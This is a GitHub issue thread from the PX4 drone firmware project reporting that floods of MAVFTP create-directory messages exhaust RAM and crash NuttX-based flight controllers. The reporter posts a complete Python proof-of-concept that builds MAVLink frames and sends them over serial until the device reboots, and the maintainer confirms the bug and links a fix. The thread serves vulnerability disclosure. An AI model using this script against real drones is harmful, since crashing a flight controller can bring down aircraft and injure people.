Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

loop of mavftp protocol crash drone #18651

Closed
BOB4Drone opened this issue Nov 16, 2021 · 3 comments · Fixed by #18655
Closed

loop of mavftp protocol crash drone #18651

BOB4Drone opened this issue Nov 16, 2021 · 3 comments · Fixed by #18655

Comments

@BOB4Drone
Copy link

Describe the bug
sending more then 1400 packet at px4 firmware, crash nuttx OS and reboot device

To Reproduce
set opcode with 9 (create directory) and set payload with random data ( more then 105 byte). if sum of sent data is more then 1400 packet, it will crash nuttX OS and reboot

Expected behavior
Crash OS and reboot device

Drone (please complete the following information):

  • all nuttX based drone

Additional context

  • i generated random directory packet with Python and sent generated packet to px4 mini (px4_fmu_v5-default) with Serial
  • we need only 2 seconds to Crash drone
  • i think it becomes from lack of ram ( nuttX fs is vfs, so it makes filesystem on ram). i think there should be limited directory length on NuttX
@bkueng
Copy link
Member

bkueng commented Nov 16, 2021

Good find, can you provide the script?

@BOB4Drone
Copy link
Author

BOB4Drone commented Nov 16, 2021

import serial
from time import sleep
import binascii
from crccheck.crc import Crcc16Mcrf4xx
import random
import os
from serial.serialutil import SerialException

def generate_random(size):
    return str(format(random.randint(0,size),'02x'))
def openSerial(port, baudrate=57600, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=None, xonxoff=False, rtscts=False, dsrdtr=False):
    ser = serial.Serial()

    ser.port = port
    ser.baudrate = baudrate
    ser.bytesize = bytesize
    ser.parity = parity
    ser.stopbits = stopbits
    ser.timeout = timeout
    ser.xonxoff = xonxoff
    ser.rtscts = rtscts
    ser.dsrdtr = dsrdtr

    ser.open()
    return ser


length = 254
m = 110
magic = str(format(84,'02x'))
seq = 0
nextseq = 0
stx = "fd"
incFLAG = "00"
cmpFLAG = "00"
msgID = str(format(m,'06x'))
msgID = [msgID[-2:], msgID[-4:-2], msgID[0:2]]
msgID = "".join(msgID)
ser = openSerial('/dev/ttyACM0')

oplist = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
while True:
    try:
        sysID = generate_random(0xff)
        compID = generate_random(0xff)
        newseq = str(format(seq,"02x"))
        
        payseq = str(format(nextseq, '04x'))
        payseq = [payseq[-2:], payseq[0:2]]
        payseq = "".join(payseq)
        paysess = generate_random(0xff)
        #rnds = random.randint(0x0,0xf)
        rnds = 9
        opcode = str(format(rnds,'02x')) #random opcode
        burst = '00'
        if opcode == 15:
            burst = '01'
        print('opcode : '+opcode)
        oplist[rnds] = oplist[rnds] + 1
        for i in oplist:
            print(i)
        ackopcode = str(format(128, "02x"))
        padding = "00"
        offset = str(format(random.randint(0,0xffffffff), '08x'))
        rnddata = str(binascii.b2a_hex(os.urandom(random.randint(105,105))))
        rnddata = rnddata.replace('\'','')
        print('datalen : ' + str(len(rnddata)))
        if(len(rnddata)%2)!= 0:
            rnddata += "0"
        size = str(format(len(rnddata)//2, '02x'))
        tnetwork = str(format(0, "02x"))
        tsystem = str(format(0, "02x"))
        tcomponent = str(format(0, "02x"))
        payload = ""
        payload += tnetwork
        payload += tsystem
        payload += tcomponent
        payload += payseq
        payload += paysess
        payload += opcode
        payload += size
        payload += ackopcode
        payload += burst
        payload += padding
        payload += offset
        payload += rnddata
        lengths = format(len(payload)//2 ,'02x')
        
        a = []
        a.append(stx)
        a.append(lengths)
        a.append(incFLAG)
        a.append(cmpFLAG)
        a.append(newseq)
        a.append(sysID)
        a.append(compID)
        a.append(msgID)
        a.append(payload)
        sums = lengths + incFLAG + cmpFLAG + newseq + sysID  + compID + msgID  + payload + magic
        crc = Crcc16Mcrf4xx.calc(bytearray.fromhex((sums )))
        crc = str(format(crc,'04x'))
        crc = [crc[-2:], crc[0:2]]
        a.extend(crc)
        print(''.join(a))
        string = ''.join(a)
        wq = open('fuzztest' + str(rnds) + '.txt', 'a')
        wq.write(string + '\n')
        wq.close
        string = bytes.fromhex(string)
        ser.write(string)
        
        if (seq < 0xff) and (nextseq < 0xff):
            seq += 1
            nextseq += 1
        else:
            seq = 0
            nextseq = 0
    except serial.SerialException:
        print('Crashed msgID : %d'%m)
        break

here is my poc code with python

@bkueng
Copy link
Member

bkueng commented Nov 16, 2021

Thanks @BOB4Drone. You are right, it fills up the memory with random files.
I'm adding a path restriction in #18655

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants